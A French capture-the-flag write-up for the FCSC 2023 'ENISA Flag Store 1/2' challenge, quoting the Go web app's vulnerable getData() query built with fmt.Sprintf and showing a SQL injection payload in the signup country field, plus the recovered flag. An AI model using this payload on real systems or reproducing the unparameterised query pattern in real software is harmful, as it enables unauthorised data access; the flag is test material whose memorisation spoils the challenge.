FCSC 2023 - ENISA Flag Store 1/2
Dans cet article, nous allons explorer le déroulement pas à pas (walkthrough) du challenge ‘ENISA Flag Store 1/2’ proposé lors du FCSC 2023.
Nous disposons du code source suivant, il s’agit de l’application web du challenge. Par la longueur de ce code, vous pouvez le télécharger ici.
Le but du challenge est de voler un flag à nos chers amis suisses.
En analysant le code nous pouvons voir plusieurs choses:
- Nous pouvons constater les endpoints suivants:
mux.HandleFunc("/", endpoint_index)
mux.HandleFunc("/login", endpoint_login)
mux.HandleFunc("/signup", endpoint_signup)
mux.HandleFunc("/logout", endpoint_logout)
mux.HandleFunc("/flags", endpoint_flags)
- Lors de la création de compte sur l’application nous pouvons avoir plusieurs types d’erreurs:
err := RegisterLoginPassword(username, password, country)
if err != nil {
if errors.Is(err, ErrUserAlreadyExist) {
http.Redirect(w, r, "/signup?error=3", http.StatusSeeOther)
} else if errors.Is(err, ErrFieldTooLong) {
http.Redirect(w, r, "/signup?error=4", http.StatusSeeOther)
} else {
http.Redirect(w, r, "/signup?error=5", http.StatusSeeOther)
}
return
}
Erreur 3: l’utilisateur existe déjà
Erreur 4: Un des champs possède beaucoup trop de caractères
Erreur 5: Autre erreur potentielle
Et dans la fonction getData()
qui permet de charger les flags du pays dont apprtient l’utilisateurs dans l’endpoint /flags
:
func getData(user User) (
[]Flag,
error,
) {
var flags []Flag
req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
FROM flags WHERE country = '%s';`, user.Country);
rows, err := db.Query(req);
if err != nil {
return flags, err
}
defer rows.Close()
for rows.Next() {
var flag Flag
err = rows.Scan(&flag.CTF, &flag.Challenge, &flag.Flag, &flag.Points)
if err != nil {
return flags, err
}
flags = append(flags, flag)
}
if err = rows.Err(); err != nil {
return flags, err
}
return flags, nil
}
On reconnait tout de suite une injection SQL, parce que aucune donnée n’est filtrée et simplement ajoutée das la requête telle quelle.
Stratégie
- Je reste focalisé sur la partie enregistrement puisque à part cet endroit là, on ne peut pas vraiment avoir la main sur les informations qu’on rentre pour tenter quelconque exploitation.
On essaie d’injecter le paramètre country
pour voir le comportement de l’application.
Un payload plausible me vient à l’esprit et c’est le suivant:
fr' OR country != 'fr
La requête effectuée serait la suivante:
SELECT ctf, challenge, flag, points
FROM flags WHERE country = 'fr' OR country != 'fr';
La requête SQL sélectionne les colonnes ctf
, challenge
, flag
et points
de la table flags
pour tous les enregistrements, sans distinction de la valeur de la colonne country
. L’utilisation de la condition "country = 'fr' OR country != 'fr'"
inclut toutes les lignes possibles de la table.
Je décide d’ouvrir BurpSuite pour récupérer la requête qu’on envoie lors de l’enregistrement de notre compte:
Je modifie fr
dans country
par notre payload url encodé
fr%27%20OR%20country%20!%3D%20%27fr
Le compte à bien été créé il suffit juste de se connecter avec le compte pour se rendre compte que l’exploitation à fonctionnée:
Le flag est FCSC{fad3a47d8ded28565aa2f68f6e2dbc37343881ba67fe39c5999a0102c387c34b}